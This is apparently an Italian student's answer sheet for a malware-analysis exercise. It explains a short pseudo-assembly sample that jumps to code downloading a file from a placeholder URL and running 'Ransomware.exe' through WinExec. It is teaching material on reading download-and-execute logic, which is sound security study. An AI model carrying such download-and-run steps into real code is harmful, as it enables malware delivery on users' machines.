

# Analisi avanzate: Un approccio pratico

S11/L5

Davide Diglio

---

## Traccia

Rispondere ai quesiti, facendo riferimento ai codici delle figure.

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

---

## Quesiti:

1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione.

## Svolgimento

### Quesito 1: *Spiegate, motivando, quale salto condizionale effettua il Malware*

Facendo riferimento alla figura 1, possiamo notare che il salto condizionale, che effettua il malware, si trova nella locazione di memoria 00401068.

00401068

jz

loc 0040FFA0

; tabella 3

L'istruzione JZ (Jump if Zero) effettua il salto nella locazione 0040FFA0, il salto viene effettuato avendo EBX a 11.

### Quesito 2: *Disegnare un diagramma di flusso*

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0 ; tabella 2	
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0 ; tabella 3	

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione



Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

---

### **Quesito 3: Quali sono le diverse funzionalità implementate all'interno del Malware?**

Le funzionalità implementate all'interno del malware sono due, la prima cerca di scaricare un malware collegandosi ad un sito web. Mentre la seconda esegue un malware presente già sulla macchina.

### **Quesito 4: descrivere come sono passati gli argomenti alle successive chiamate di funzione.**

Nel primo caso viene passato un URL dove sicuramente viene scaricato dei file malevoli, tramite funzione DowloadToFile.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Nel secondo caso invece viene passato il path del file per eseguire il malware, attraverso la funzione WinExec.

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione